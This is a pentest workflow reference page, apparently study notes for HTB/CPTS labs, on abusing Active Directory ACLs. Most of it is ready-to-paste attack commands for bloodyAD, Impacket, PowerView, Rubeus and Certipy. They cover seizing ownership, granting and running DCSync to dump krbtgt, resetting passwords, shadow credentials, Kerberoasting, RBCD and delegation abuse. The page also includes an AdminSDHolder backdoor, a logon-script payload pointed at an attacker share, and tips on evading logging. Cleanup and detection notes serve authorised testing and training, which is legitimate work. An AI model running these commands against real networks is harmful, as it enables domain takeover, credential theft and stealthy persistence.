FLOW ^: Pentest Workflow

Stage 06 — ACL and Object Abuse

CPTS attack-flow reference for stage 06 — acl and object abuse in an authorised engagement.

advanced updated 2026-08-29 BloodyAD · PowerView · Impacket · BloodHound

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 09 of 17 · Focus: Stage 06 — ACL and Object Abuse

Previous: Stage 05 — Kerberos Attacks · Next: Stage 07 — ADCS and Certificate Abuse


🩸 STAGE 6 — ACL & Object Abuse (BloodHound edges)

This is where BloodHound edges become shells. bloodyAD is my driver — it talks LDAP/LDAPS/SAMR straight to the DC and turns every ACL edge into one write. PowerView (Windows foothold) and Impacket (Linux) are the equivalents when bloodyAD isn’t an option. Workflow: collect the graph → click the outbound edge → find it below → copy the one-liner → reverse it in cleanup.

[!tools] Stage this PowerView.ps1 (SHA-256 · GPG signature) — PowerSploit PowerView: Find-InterestingDomainAcl, Get-DomainObjectAcl, Add-DomainObjectAcl, Set-DomainObjectOwner, Set-DomainUserPassword. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained. StandIn_v13_Net35_45.zip (SHA-256 · GPG signature) — StandIn: small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read. targetedKerberoast.py (SHA-256 · GPG signature) — targetedKerberoast: one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash. Whisker.exe (SHA-256 · GPG signature) — Whisker: Windows-side Shadow Credentials (writes msDS-KeyCredentialLink); pair with Rubeus asktgt /getcredentials for the PKINIT+UnPAC tail. Linux twin: pywhisker.

Link-only drivers: bloodyAD · Impacket (dacledit.py, owneredit.py, rbcd.py, addcomputer.py) · NetExec · autobloody · evil-winrm.

[!note] Auth block for every bloodyAD call Every command uses -d "$DOMAIN" -u "$U" -p "$P" --host "$DC". Swap -p "$P" for -p ':<NThash>' to pass-the-hash, add -k for Kerberos, -s for LDAPS (so writes aren’t cleartext). If the DC name won’t resolve, add -i "$IP" --dns "$IP". Full auth matrix + verbs in BloodyAD.


ACE primer — what each edge actually means

Every BloodHound abuse edge is an ACE in the target’s security descriptor. Read this table once, then every section below is just “which write do I get”.

ACE / BloodHound edgeAD right (GUID family)What it lets me doGo-to abuse
GenericAllRIGHT_GENERIC_ALL (full control)Everything: write any attr, rewrite DACL, take ownershipShadow creds / targeted roast (user) · group add (group) · RBCD (computer)
GenericWriteRIGHT_GENERIC_WRITEWrite most attributes, not the DACL, not passwordTargeted Kerberoast (plant SPN) · shadow creds · logon script · UAC flips
WriteDaclWRITE_DACRewrite the object’s DACLGrant self GenericAll; on domain root → grant DCSync
WriteOwner / OwnsWRITE_OWNERSeize ownership → owner always controls the DACLOwn it → grant self GenericAll (two-step WriteDacl)
ForceChangePasswordUser-Force-Change-Password extended rightReset password without knowing the old oneSet-DomainUserPassword / bloodyAD set password (loud)
AddMember / AddSelfWrite on group’s member attribute (AddSelf = validated write, self only)Add accounts (or just me) to the groupnet group / Add-DomainGroupMember / bloodyAD add groupMember
AllExtendedRightsRIGHT_DS_CONTROL_ACCESS (all ext. rights)All extended rights at onceOn domain root = DCSync now (no write needed); on user = password reset
Self (validated)Validated write bound to the object itselfe.g. self-service group membership, SPN self-writeContext-dependent — check which validated write the GUID maps to
WriteProperty (SPN)Write on servicePrincipalNameSet/clear SPNs onlyTargeted Kerberoast (plant SPN → roast → remove)
WriteProperty (logonscript)Write on scriptPathSet a logon script UNC pathFires at victim’s next interactive logon
WriteProperty (msDS-KeyCredentialLink) = AddKeyCredentialLinkWrite key credentialsShadow Credentials → PKINIT → NT hash, no password touch
ReadLAPSPasswordRead ms-Mcs-AdmPwd / msLAPS-PasswordRead the machine’s local admin passwordGet-DomainComputer … ms-mcs-admpwd / LAPSToolkit (quiet read)
ReadGMSAPasswordRead msDS-ManagedPasswordRead a gMSA’s current password blob → derive NT hashDSInternals / gMSADumper (quiet read)
DS-Replication-Get-Changes(-All)1131f6aa/1131f6ad/…-9c15-002f18460f81 GUIDs on domain rootReplicate directory dataDCSync — secretsdump.py / mimikatz lsadump::dcsync (see Stage 10)

[!tip] ACE algebra GenericAllGenericWrite + WriteDacl + WriteOwner — a GenericAll target is vulnerable to every attack listed under the lesser rights. WriteOwnerWriteDaclGenericAll is the standard promotion chain: owner can always rewrite the DACL regardless of what the DACL says.

Two rights deserve special attention because they hide in plain sight:

  • Self is meaningless until you resolve the ObjectAceType GUID — it might be “add self to group” (gold) or “write my own phone number” (nothing). Get-DomainObjectAcl -ResolveGUIDs or dacledit.py -action read will tell you.
  • ReadLAPSPassword/ReadGMSAPassword never appear as “dangerous” in some collectors but are pure credential theft with zero modification events — always check inbound read edges, not just write edges.

Reading ACLs — find the edge before you swing it

# BloodHound CE collection (the graph IS the ACL map) — see Stage 04 for collector options
bloodhound-python -d "$DOMAIN" -u "$U" -p "$P" -ns "$IP" -c All --zip
# nxc one-liner collector:
nxc ldap "$IP" -u "$U" -p "$P" --bloodhound -c All --dns-server "$IP"

# bloodyAD: everything I can write to — start here
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get writable --detail

# which ACEs I actually hold on a target (Owner / WriteDacl / GenericWrite / GenericAll)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object victim --resolve-sd
# Impacket equivalents
findDelegation.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP"          # delegation edges
dacledit.py -action read -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"   # raw DACL dump

# nxc — quick delegation + group context sweeps
nxc ldap "$IP" -u "$U" -p "$P" --find-delegation
nxc ldap "$IP" -u "$U" -p "$P" -M get-desc-users            # stray creds while you're here
# PowerView (Windows foothold) — the classic enumeration trio
Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "$env:USERNAME" }
Get-DomainObjectAcl -Identity victim -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|GenericWrite' }
# domain-root replication rights (who can DCSync already?)
Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs |
  ? { $_.ObjectAceType -match 'Replicating' }

BloodHound Cypher — outbound object control from my user:

MATCH p=(n {name:'YOU@DOMAIN.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|AllExtendedRights]->(m) RETURN p
// and the money query — shortest path to DA:
MATCH p=shortestPath((n {name:'YOU@DOMAIN.LOCAL'})-[*1..]->(m {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p

[!tip] Don’t trust one source BloodHound edges are a snapshot — re-confirm the ACE with bloodyAD get object victim --resolve-sd or dacledit.py -action read before burning a write. Stale graph data is the #1 cause of “the one-liner didn’t work”. Group membership changes also take effect only on next logon/TGT — bloodyAD re-authenticates per call, PowerView/klist sessions don’t.


Edge → command quick index

BloodHound edgebloodyAD one-linerPowerView / Impacket equivalent
Owns / WriteOwnerset owner victim "$U"add genericAll victim "$U"Set-DomainObjectOwner / owneredit.pydacledit.py
WriteDacladd genericAll victim "$U" (or add dcsync "$U" on domain)Add-DomainObjectAcl / dacledit.py -rights FullControl|DCSync
GenericAll (user)add shadowCredentials victimcertipy shadow auto / pywhisker / Whisker.exe
GenericAll (group)add groupMember 'Domain Admins' "$U"Add-DomainGroupMember / ldap_shell
GenericAll (computer)add rbcd 'TARGET$' 'ATTACKER$'rbcd.py -action write / shadow creds on TARGET$
GenericWriteset object victim servicePrincipalName -v 'HTTP/x'Set-DomainObject -Set @{serviceprincipalname=…} / targetedKerberoast.py
ForceChangePasswordset password victim 'Newpass123!'Set-DomainUserPassword / net rpc password
AddSelf / AddMemberadd groupMember 'Domain Admins' "$U"Add-DomainGroupMember / net group "Domain Admins" $U /add /domain
AddKeyCredentialLinkadd shadowCredentials victimcertipy shadow auto / pywhisker
AllExtendedRights / DCSyncadd dcsync "$U"secretsdump.pydacledit.py -rights DCSyncsecretsdump.py
AddAllowedToActadd rbcd 'TARGET$' 'ATTACKER$'rbcd.py -action write
ReadLAPSPasswordget object TARGET$ --attr msLAPS-PasswordGet-DomainComputer … ms-mcs-admpwd / nxc ldap --laps
ReadGMSAPasswordget object gmsa$ --attr msDS-ManagedPasswordDSInternals Get-ADReplAccount / gMSADumper.py

Owns / WriteOwner

What to look for: an Owns or WriteOwner edge to a user/group/computer. The owner can always rewrite the DACL, so this is full control in two steps.

Exploit:

# 1. take ownership
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set owner victim "$U"
# 2. grant myself GenericAll — now do any GenericAll attack below
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
# Impacket equivalent
owneredit.py -action write -new-owner "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py  -action write -rights FullControl -principal "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerView equivalent
Set-DomainObjectOwner -Identity victim -OwnerIdentity $U
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity $U -Rights All

[!warning] Watch out set owner is not rolled back by autobloody and leaves a durable IOC (4670/5136). Note the original owner (owneredit.py -action read) and hand it back in cleanup. On adminCount=1 targets the grant is reverted by SDProp within 60 min — act fast, or backdoor AdminSDHolder instead.


WriteDacl

What to look for: a WriteDacl edge. Grant yourself full control on the object — or, if the edge is on the domain root, grant yourself DCSync.

Exploit:

# grant self full control over the object
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"

# WriteDacl on the DOMAIN object → grant DCSync, then replicate
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"
# Impacket equivalent — SNAPSHOT FIRST (see OPSEC section), then write
dacledit.py -action backup -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py -action write -rights DCSync -principal "$U" -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# ...dump, then restore:
dacledit.py -action restore -file dacledit-*.bak "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerView equivalent
Add-DomainObjectAcl `
  -TargetIdentity 'DC=corp,DC=local' `
  -PrincipalIdentity $U `
  -Rights DCSync

[!warning] Watch out Leaving DCSync on a low-priv user is a permanent IOC. Always remove dcsync "$U" after you’ve dumped. WriteDacl → DCSync is the single most common ACL escalation — many envs don’t even audit 4662/5136, but assume they do.


GenericAll

What to look for: the nuclear edge — superset of GenericWrite + WriteDacl + WriteOwner. Pick the exploit by target type.

Exploit:

# USER → recover NT hash via shadow creds (quiet, reversible) — preferred
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim

# USER → reset password (loud, breaks their logon)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'

# USER → targeted Kerberoast (works without PKINIT/ADCS)
python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --only-abuse --dc-ip "$IP"

# GROUP → add myself
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"

# COMPUTER → option A: RBCD (see delegation below)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
# COMPUTER → option B: shadow credentials on the machine account → its NT hash → local admin
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials 'TARGET$'

Windows-foothold equivalent (Whisker.exe — staged above):

# add a key credential to the target (user or computer)
.\Whisker.exe add /target:victim /domain:$DOMAIN /dc:$DC
# -> note the DeviceID for cleanup; Whisker prints a ready-made Rubeus command:
.\Rubeus.exe asktgt /user:victim /certificate:<Base64PFX> /password:"<pfxpass>" /domain:$DOMAIN /dc:$DC /getcredentials /show /nowrap
# cleanup: .\Whisker.exe remove /target:victim /deviceid:<DeviceID>

[!tip] GenericAll on a GROUP → cascade Add yourself to a group that holds GenericWrite over service accounts, then shadow-cred each member — all in bloodyAD. It re-authenticates on every call, so the new membership (and its inherited rights) is live on the very next command with no re-login. This is the Fluffy chain: add groupMember 'Service Accounts' "$U"add shadowCredentials winrm_svcadd shadowCredentials ca_svc.

[!warning] Watch out Since GenericAll ⊇ GenericWrite, every GenericWrite attack (targeted Kerberoast, logon script, AS-REP) also works on this target. On a computer target, RBCD needs ms-DS-MachineAccountQuota > 0 to create ATTACKER$; shadow creds on TARGET$ don’t (no new object needed).


GenericWrite

What to look for: write to (most) attributes but not the DACL. No password reset — but you can plant an SPN, a Key Credential, a logon script, or flip a UAC flag.

Exploit:

# Targeted Kerberoast — Linux one-shot (staged above): plant SPN → roast → auto-cleanup
python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --dc-ip "$IP"
#   -v verbose · --only-abuse only roast objects I control · --no-cleanup skip SPN removal (don't)
hashcat -m 13100 roast.txt rockyou.txt

# Manual equivalent — plant SPN → roast → REMOVE THE SPN (always)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName -v 'HTTP/fake.'"$DOMAIN"
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" -request-user victim -outputfile roast.txt
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName   # cleanup (omit -v = clear)

# Shadow credentials (also reachable via GenericWrite) — best route if ADCS/PKINIT present
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim

# Targeted AS-REP roast — set DONT_REQ_PREAUTH → grab AS-REP → unset
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac victim -f DONT_REQ_PREAUTH
GetNPUsers.py "$DOMAIN"/victim -no-pass -dc-ip "$IP" -format hashcat -outputfile asrep.hash
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove uac victim -f DONT_REQ_PREAUTH

# Logon-script abuse — fires at victim's next INTERACTIVE logon
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim scriptPath -v '\\'"$LHOST"'\share\run.bat'
# PowerView equivalent from a Windows foothold
Set-DomainObject -Identity victim -Set @{
  serviceprincipalname = 'fake/kerberoast'
}
.\Rubeus.exe kerberoast /user:victim /outfile:roast.txt
Set-DomainObject -Identity victim -Clear serviceprincipalname
# StandIn (staged above) — when PowerShell logging/AMSI is a problem
.\StandIn.exe --object samaccountname=victim --set spn "HTTP/fake.$DOMAIN"
.\StandIn.exe --object samaccountname=victim --remove spn
.\StandIn.exe --object samaccountname=victim --asrep        # flip DONT_REQ_PREAUTH

[!warning] Watch out GenericWrite does not include User-Force-Change-Password — you cannot reset the password with it. Use shadow creds or Kerberoast. scriptPath only fires on an interactive logon, so it’s useless against a service account that never touches a desktop. GenericWrite on a group ≠ AddMember — you need GenericAll/AddMember for that. A planted SPN left behind is a trivial IOC (setspn -Q / BloodHound) — remove it the moment the TGS lands.

WriteProperty variants (scoped writes): a WriteProperty ACE limited to one attribute is just GenericWrite with blinders. Read the ACE’s ObjectAceType GUID (-ResolveGUIDs) to know which attribute you can touch:

WriteProperty targetAbuseNotes
servicePrincipalNameTargeted Kerberoast (set → roast → clear)Also granted by the Self validated-write on some objects
scriptPath (logon script)UNC path to a payload; fires at interactive logonPair with a Responder/SMB capture share if execution is slow
msDS-KeyCredentialLinkShadow CredentialsSee dedicated section
userAccountControlFlip DONT_REQ_PREAUTH (AS-REP roast) or delegation flagsRevert with remove uac
member (on a group)AddMemberSee dedicated section
msDS-AllowedToActOnBehalfOfOtherIdentityRBCDSee delegation section

ForceChangePassword

What to look for: the User-Force-Change-Password extended right — reset the password without knowing the old one. Single-purpose, but one reset of a DA/service account = domain.

Exploit:

bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
# Samba/RPC equivalents from Linux
rpcclient -U "$DOMAIN/$U%$P" "$DC" -c "setuserinfo2 victim 23 Newpass123!"
net rpc password victim 'Newpass123!' -U "$DOMAIN/$U%$P" -S "$DC"
# PowerView equivalent
$NewPassword = ConvertTo-SecureString 'Newpass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity victim -AccountPassword $NewPassword

[!tip] Prefer the quiet alternative If the same edge set also gives you GenericWrite/GenericAll on the victim, skip the reset — shadow credentials get you the NT hash (and a cert) without touching unicodePwd. The victim keeps working, no 4724 fires, and there’s nothing to “change back” beyond removing a DeviceID. ForceChangePassword is the fallback for environments without PKINIT where roasting failed (strong password).

# the quiet alternative in one line (requires PKINIT)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim

[!warning] Watch out Password reset is the loudest ACL attack — the victim is locked out instantly and it fires 4724. If you also hold GenericWrite/GenericAll, prefer shadow credentials (original password keeps working). If you must reset, note the box owner and reset back on an engagement. Also: resetting an account used by a running service breaks the service — check servicePrincipalName and logon events before you swing.


AddSelf / AddMember

What to look for: write to the group’s member attribute (AddSelf = you may only add yourself). Instant escalation if it’s a privileged group.

Exploit:

bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
# verify + cleanup
nxc smb "$IP" -u "$U" -p "$P" -x "whoami /groups"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove groupMember 'Domain Admins' "$U"
# Windows equivalents
net group "Domain Admins" $U /add /domain
Add-DomainGroupMember -Identity 'Domain Admins' -Members $U        # PowerView
.\StandIn.exe --group "Domain Admins" --add $U                      # StandIn
# cleanup:  net group "Domain Admins" $U /del /domain
# Impacket / Linux equivalents
# ldap_shell:  add_user_to_group me "Domain Admins"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get group 'Domain Admins' --attr member   # verify before/after

[!tip] Grab what you need, then leave If I add myself to Domain Admins, I DCSync the KRBTGT hash immediately, then remove groupMember — the shorter the membership window (4728/4756), the less likely the alert lands. Membership isn’t live for tools that cache a TGT — request a fresh ticket (klist purge / new getTGT.py) or use bloodyAD which re-auths per call.

AddSelf vs AddMember: with AddSelf you can only add yourself — no staging a second backdoor account. Plan your single seat accordingly.


ReadLAPSPassword / ReadGMSAPassword — quiet reads

What to look for: read rights on ms-Mcs-AdmPwd (legacy LAPS), msLAPS-Password (Windows LAPS) on a computer, or msDS-ManagedPassword on a gMSA. These are reads, not writes — no modification events, just directory access (4662 if SACLs exist at all). Best-value edges in the graph.

# PowerView — legacy LAPS
Get-DomainComputer -Identity TARGET -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# LAPSToolkit:  Get-LAPSComputers | findstr TARGET   ·   SharpLAPS.exe
# Linux / nxc — one shot, also checks readability automatically
nxc ldap "$IP" -u "$U" -p "$P" -M laps          # or --laps on newer builds
# gMSA password blob → NT hash
python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l "$IP"
# bloodyAD raw read
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'gmsa_svc$' --attr msDS-ManagedPassword
# DSInternals — gMSA blob → NT hash from a Windows foothold
$blob = (Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
ConvertTo-NTHash $mp.SecureCurrentPassword

[!tip] OPSEC — reads are quiet, writes are loud LAPS/gMSA reads touch nothing on the target and fire no object-modification events — at worst a 4662 on the DC if the attribute SACL is audited (rare). Compare with a password reset (4724) or group add (4728). When the graph offers both a read and a write path to the same host, take the read every time.


AllExtendedRights / DCSync

What to look for: AllExtendedRights on the domain root means you already hold DS-Replication-Get-Changes(-All) — DCSync with no DACL modification needed. On a user it grants User-Force-Change-Password.

Exploit:

# domain root → replicate straight away (you already have the right)
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" -just-dc-user krbtgt
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"                      # full dump

# only need to GRANT it? (WriteDacl on domain) — then dump, then remove
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove dcsync "$U"
# mimikatz on a DC-adjacent foothold (same rights, no Linux needed)
lsadump::dcsync /domain:$DOMAIN /user:krbtgt

[!warning] Watch out AllExtendedRights differs from WriteDacl: no need to add the right, you already have it — don’t waste a noisy dacledit write. Replication fires 4662; a low-priv account DCSyncing is a screaming signature, so grab KRBTGT + targets and get out. What to do with the dumped hashes (PtH, golden ticket, offline crack): Stage 10 — Lateral Movement. Deep dive: 🟡 Attack.

Practical order of operations on the domain root:

  1. secretsdump.py … -just-dc-user krbtgt — krbtgt first (golden ticket capability).
  2. Then the specific DA/service accounts you actually need.
  3. Only then, if required, the full dump — every additional replicated attribute widens the 4662 footprint.

What to look for: write to msDS-KeyCredentialLink (via GenericWrite / GenericAll / WriteDacl / AddKeyCredentialLink) with PKINIT/ADCS present and DFL 2016+. Stealthiest takeover — no password change, survives resets.

Exploit:

# bloodyAD does the WHOLE attack: adds the key, does PKINIT, PRINTS the NT hash — no Certipy needed
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
#   [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325

# save the recovered TGT/pfx to a path, then clean up the key
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim --path /tmp/victim
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove shadowCredentials victim

# log in with the recovered hash (winrm_svc example)
evil-winrm -i "$DC" -u victim -H a9285c625af80519ad784729655ff325
# Certipy equivalent (full auto: add key → PKINIT → hash)
certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account victim -dc-ip "$IP" -dc-host "$DC"

# pyWhisker + certipy auth (two-step)
pywhisker.py -d "$DOMAIN" -u "$U" -p "$P" --target victim --action add --dc-ip "$IP"
certipy-ad auth -pfx victim.pfx -dc-ip "$IP"
# cleanup:  pywhisker.py … --action remove --device-id <id>

# works on COMPUTER objects too → machine account hash → often local admin on that box
certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account 'TARGET$' -dc-ip "$IP" -dc-host "$DC"

Windows foothold: use Whisker.exe + Rubeus (staged at top — see the GenericAll section for exact commands).

[!warning] Watch out PKINIT is Kerberos: use the DC FQDN (--host "$DC", not the IP), and if the DC clock is skewed prefix faketime -f '+7h' … — this is the exact gotcha on boxes like Fluffy. Fails with no ADCS/WHfB or on pre-2016 schema. Writes fire 5136 on msDS-KeyCredentialLink; remove the DeviceID after. Full detail: Shadow Credentials — msDS-KeyCredentialLink Abuse.


Delegation abuse (RBCD / Constrained / Unconstrained)

RBCD (AddAllowedToAct, or GenericWrite/GenericAll on a computer)

What to look for: write to msDS-AllowedToActOnBehalfOfOtherIdentity on a computer → impersonate anyone to a service on it. Needs MAQ > 0 to create a controlled machine.

Exploit:

# 1. create a computer I control (MAQ default = 10)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add computer ATTACKER '$Passw0rd123'
# 2. set the RBCD trust on the target computer
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
# 3. S4U → impersonation ticket for Administrator to the target
getST.py -spn cifs/target."$DOMAIN" -impersonate Administrator "$DOMAIN"/'ATTACKER$':'$Passw0rd123' -dc-ip "$IP"
# 4. use it, then clean up
export KRB5CCNAME=Administrator@cifs_target.${DOMAIN}@${DOMAIN^^}.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@target."$DOMAIN"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove rbcd 'TARGET$' 'ATTACKER$'
# Impacket-only equivalents for steps 1–2
addcomputer.py -computer-name 'ATTACKER$' -computer-pass '$Passw0rd123' -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
rbcd.py -delegate-to 'TARGET$' -action read  -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # verify
rbcd.py -delegate-to 'TARGET$' -action flush -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # cleanup
# PowerView / StandIn from a Windows foothold
$ComputerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity 'TARGET$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# StandIn one-liner:   .\StandIn.exe --rbcd TARGET$ --sid ATTACKER$
# then:                .\Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /ptt

Constrained delegation (S4U2Proxy)

What to look for: an account with msDS-AllowedToDelegateTo populated whose creds you hold — or GenericWrite on it so you create the condition.

Exploit:

# I already control the delegation account → straight S4U impersonation
getST.py -spn CIFS/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"

# create the condition myself (GenericWrite on svc_web): flag it + set the target SPN
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/'"$DC"
getST.py -spn cifs/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"

[!tip] /altservice pivot msDS-AllowedToDelegateTo only lists CIFS/DC? The service name isn’t integrity-protected in the ticket — request LDAP/HOST/HTTP on the same host. Rubeus: s4u /user:svc_web /rc4:<hash> /impersonateuser:Administrator /msdsspn:CIFS/DC /altservice:LDAP/DC /ptt → then DCSync via that LDAP ticket.

Unconstrained delegation

What to look for: a non-DC computer with TRUSTED_FOR_DELEGATION. Coerce a DC to auth to it, capture the DC TGT. If I hold GenericWrite on a computer I can set the flag.

# set the flag (then coerce a DC and capture its TGT with Rubeus monitor / krbrelayx)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac 'TARGET$' -f TRUSTED_FOR_DELEGATION
# coerce (Linux):
printerbug.py "$DOMAIN"/"$U":"$P"@"$DC" target."$DOMAIN"

[!warning] Watch out RBCD/constrained fail if the impersonated user is in Protected Users or flagged sensitive — target a different DA (or chain Bronze Bit). Set MAQ to 0 kills the RBCD computer-creation path. Reverse every delegation write: remove rbcd, remove uac … -f TRUSTED_*, delete ATTACKER$. Delegation flips fire 5136/4741; S4U2Proxy fires 4769. Deep dives: 🟠 Attack · 🟠 Attack · 🟠 Attack.


AdminSDHolder persistence (post-DA)

What to look for: once I hold DA (or WriteDacl on CN=AdminSDHolder), plant a backdoor ACE. SDProp propagates it to every protected object every 60 min — self-healing even if blue team strips it off individual objects.

dacledit.py -action write -rights FullControl -principal backdoor_user \
  -target-dn "CN=AdminSDHolder,CN=System,DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" \
  "$DOMAIN"/Administrator:"$P" -dc-ip "$IP"
# PowerView: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity backdoor_user -Rights All

[!warning] Watch out This is persistence, not escalation — needs DA first. Any AdminSDHolder change is exceptionally rare and a critical-severity alert (5136/4780); SDProp also stamps adminCount=1 on affected users, a queryable IOC. Use a plausible service account as the backdoor principal, not an obvious one. Deep dive: 🟡 Attack.


📬 Exchange Windows Permissions → DCSync (group shortcut)

What to look for → membership in Exchange Windows Permissions. After most Exchange installs this group holds WriteDACL on the domain root — a legacy misconfig that is a one-step path to DCSync (the classic Monteverde-style finish).

Exploit

# grant yourself DCSync via the group's WriteDACL, then replicate
dacledit.py -action write -rights DCSync -principal "$U" \
  -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip $IP
secretsdump.py "$DOMAIN"/"$U":"$P"@$IP -just-dc
# bloodyAD equivalent:
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC add dcsync "$U"

[!warning] Watch out Same OPSEC as any WriteDacl→DCSync (fires 4662/5136) — remove dcsync after dumping. Deep dive: 🟣 Attack.


Automate the whole path (autobloody)

When BloodHound draws a clean multi-hop chain of writable edges, don’t walk it by hand — let autobloody compute the cheapest route in Neo4j and fire each edge through bloodyAD:

autobloody -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" -dp 'neo4jpass' \
  -ds 'YOU@'"${DOMAIN^^}" -dt 'DOMAIN ADMINS@'"${DOMAIN^^}" -v

[!warning] Watch out Rollback is automatic but partial — it reverses group adds / DACL grants / shadow-cred links but leaves ForceChangePassword and setOwner in place. Review the path before -y: if the cheapest route runs through a real account’s password reset, that reset is permanent. Labels are case-sensitive UPPERCASE NAME@DOMAIN. Cross a non-writable edge (AdminTo, HasSession, CanRDP) and it stops — bridge by hand and re-run. Full flag reference: Autobloody.


🛡️ OPSEC & detection — snapshot, revert, expect the alert

Rule zero: snapshot the security descriptor BEFORE any write. Every revert below assumes you have the original.

